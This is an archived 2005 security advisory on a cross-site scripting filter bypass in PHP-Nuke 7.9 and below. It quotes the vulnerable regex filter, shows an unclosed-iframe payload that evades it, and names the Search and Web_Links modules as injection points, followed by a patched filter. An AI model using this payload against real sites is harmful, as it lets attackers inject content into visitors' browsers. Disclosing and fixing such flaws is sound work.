the internet's safety

bypassXSSnuke.txt

bypassXSSnuke.txt
Posted Dec 15, 2005
Authored by Maksymilian Arciemowicz | Site securityreason.com

PHPNUKE versions 7.9 and below suffer from a cross site scripting filter bypass vulnerability. Details provided.

tags | exploit, xss, bypass
MD5 | eb14def6f8b872d7c1f7296074010db0
Download | Favorite | Comments (0)

bypassXSSnuke.txt

Change Mirror Download
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[Bypass XSS filter in PHPNUKE 7.9=>x cXIb8O3.21]

Author: Maksymilian Arciemowicz ( cXIb8O3 )
Date: 14.12.2005
from SECURITYREASON.COM

- --- 0.Description ---
PHP-Nuke is a Web Portal System, storytelling software, news system, online community or whatever you want to call it. Its goal is to have an automated web site to distribute news and articles with user system. Each user can submit comments to discuss the articles, similar to Slashdot and many others. Features: web admin, polls/surveys with comment, statistics, user customizable box, themes manager, friendly admin GUI, moderation system, sections manager, banner system, backend/headlines generation, Yahoo like search engine, Ephemerids manager, file manager, download manager, faq manager, advanced blocks system, reviews system, newsletter, content management, encyclopedia generator, md5 password encryption, phpBB Forums integration, support for 25 languages, 100% modular and more. Written 100% in PHP and requires Apache, PHP and a SQL Database Server. Supports MySQL, PostgreSQL, Adabas, mSQL and many others.

- --- 1. Bypass XSS filter ---

In PHPnuke is (file includes/mainfile.php).

- -168-193---
if (!defined('ADMIN_FILE') && !file_exists('includes/nukesentinel.php')) {
  foreach ($_GET as $sec_key => $secvalue) {
    if ((eregi("<[^>]*script*\"?[^>]*>", $secvalue)) ||
  (eregi("<[^>]*object*\"?[^>]*>", $secvalue)) ||
  (eregi("<[^>]*iframe*\"?[^>]*>", $secvalue)) ||
  (eregi("<[^>]*applet*\"?[^>]*>", $secvalue)) ||
  (eregi("<[^>]*meta*\"?[^>]*>", $secvalue)) ||
  (eregi("<[^>]*style*\"?[^>]*>", $secvalue)) ||
  (eregi("<[^>]*form*\"?[^>]*>", $secvalue)) ||
  (eregi("<[^>]*img*\"?[^>]*>", $secvalue)) ||
  (eregi("<[^>]*onmouseover*\"?[^>]*>", $secvalue)) ||
  (eregi("<[^>]*body*\"?[^>]*>", $secvalue)) ||
  (eregi("\([^>]*\"?[^)]*\)", $secvalue)) ||
  (eregi("\"", $secvalue)) ||
  (eregi("forum_admin", $sec_key)) ||
  (eregi("inside_mod", $sec_key))) {
        die ($htmltags);
     }
  }

  foreach ($_POST as $secvalue) {
    if ((eregi("<[^>]*onmouseover*\"?[^>]*>", $secvalue)) || (eregi("<[^>]script*\"?[^>]*>", $secvalue)) || (eregi("<[^>]*body*\"?[^>]*>", $secvalue)) || (eregi("<[^>]style*\"?[^>]*>", $secvalue))) {
      die ($htmltags);
    }
  }
}
- -168-193---

This functions deletes from input html tags like:

  - <script>
  - <object>
  - <iframe>
  - <applet>
  - <meta>
  - <style>
  - <form>
  - <img>
  - <onmouseover>
  - <body>
  
etc.

Ok. But if we sent to script:

# <iframe src=http://securityreason?    < Hi

The function don't find wrong tags.
And broswer read this 

"<iframe src=http://securityreason?    < Hi"

and change "<" to ">".
Result:

# <iframe src=http://securityreason?    > Hi

I have checked this in IE, Mozilla, Opera, Links, Lynx etc.
Only don't work in konqueror.

- --- 2. XSS ---

2.0 http://[HOST]/[DIR]/modules.php?name=Search

Insert:

<iframe src=http://securityreason.com?phpnuke79 <

And have you xss.

2.1 http://[HOST]/[DIR]/modules.php?name=Web_Links

Insert:

<iframe src=http://securityreason.com?phpnuke79 <

and more.

- --- 3. How to fix ---

Change xss filter in mainfile.php

- ---
if (!defined('ADMIN_FILE')) {
  foreach ($_GET as $sec_key => $secvalue) {
    if ((eregi("<[^>]*script*\"?[^>]*>", $secvalue)) ||
    (eregi("<[^>]*object*\"?[^>]*>", $secvalue)) ||
    (eregi("<[^>]*iframe*\"?[^>]*>", $secvalue)) ||
    (eregi("<[^>]*applet*\"?[^>]*>", $secvalue)) ||
    (eregi("<[^>]*meta*\"?[^>]*>", $secvalue)) ||
    (eregi("<[^>]*style*\"?[^>]*>", $secvalue)) ||
    (eregi("<[^>]*form*\"?[^>]*>", $secvalue)) ||
    (eregi("<[^>]*img*\"?[^>]*>", $secvalue)) ||
    (eregi("<[^>]*onmouseover*\"?[^>]*>", $secvalue)) ||
    (eregi("\([^>]*\"?[^)]*\)", $secvalue)) ||
    (eregi("\"", $secvalue)) ||
    (eregi("forum_admin", $sec_key)) ||
    (eregi("inside_mod", $sec_key))) {
      die ("<center><img src=images/logo.gif><br><br><b>The html tags you attempted to use are not allowed</b><br><br>[ <a href=\"javascript:history.go(-1)\"><b>Go Back</b></a> ]");
    }
  }
  
  foreach ($_POST as $secvalue) {
    if ((eregi("<[^>]*onmouseover*\"?[^>]*>", $secvalue)) || (eregi("<[^>]script*\"?[^>]*>", $secvalue)) || (eregi("<[^>]style*\"?[^>]*>", $secvalue))) {
      die ("<center><img src=images/logo.gif><br><br><b>The html tags you attempted to use are not allowed</b><br><br>[ <a href=\"javascript:history.go(-1)\"><b>Go Back</b></a> ]");
    }
  }
} 
- ---

to

- ---
if (!defined('ADMIN_FILE')) {
  foreach ($_GET as $sec_key => $secvalue) {
  if((eregi("<[^>]*script*\"?[^>]*", $secvalue)) ||
    (eregi("<[^>]*object*\"?[^>]*", $secvalue)) ||
    (eregi("<[^>]*iframe*\"?[^>]*", $secvalue)) ||
    (eregi("<[^>]*applet*\"?[^>]*", $secvalue)) ||
    (eregi("<[^>]*meta*\"?[^>]*", $secvalue)) ||
    (eregi("<[^>]*style*\"?[^>]*", $secvalue)) ||
    (eregi("<[^>]*form*\"?[^>]*", $secvalue)) ||
    (eregi("<[^>]*img*\"?[^>]*", $secvalue)) ||
    (eregi("<[^>]*onmouseover *\"?[^>]*", $secvalue)) ||
    (eregi("<[^>]*body *\"?[^>]*", $secvalue)) ||
    (eregi("\([^>]*\"?[^)]*\)", $secvalue)) ||
    (eregi("\"", $secvalue)) ||
    (eregi("forum_admin", $sec_key)) ||
    (eregi("inside_mod", $sec_key))) 
    {
      die ($htmltags);
    }

  }

  foreach ($_POST as $secvalue) {
    if ((eregi("<[^>]*iframe*\"?[^>]*", $secvalue)) ||
    (eregi("<[^>]*object*\"?[^>]*", $secvalue)) ||
    (eregi("<[^>]*applet*\"?[^>]*", $secvalue)) ||
    (eregi("<[^>]*meta*\"?[^>]*", $secvalue)) ||
    (eregi("<[^>]*form*\"?[^>]*", $secvalue)) ||
    (eregi("<[^>]*img*\"?[^>]*", $secvalue)) ||
    (eregi("<[^>]*onmouseover*\"?[^>]*", $secvalue)) ||
    (eregi("<[^>]script*\"?[^>]*", $secvalue)) ||
    (eregi("<[^>]*body*\"?[^>]*", $secvalue)) ||
    (eregi("<[^>]style*\"?[^>]*", $secvalue))) 
    {
      die ($htmltags);
    }
  }
}
- ---

thx nukefixes.com


- --- 4. Greets ---

sp3x, nukefixes.com

- --- 5.Contact ---
Author: Maksymilian Arciemowicz < cXIb8O3 >
Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot] com
GPG-KEY: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
SecurityReason.Com
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.2 (FreeBSD)

iD8DBQFDoE/43Ke13X/fTO4RAtjVAJ0QAELuFkDZqPkKInQvYAw6N7GGRgCfcO+9
lDFOXpKshVbRdsz35LTePSI=
=RFoz
-----END PGP SIGNATURE-----

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

Site Links
News by Month
News Tags
Files by Month
File Tags
File Directory
About Us
History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information
Advertising
Become an Advertiser
Hosting By
Rokabear
Global Mirror List
close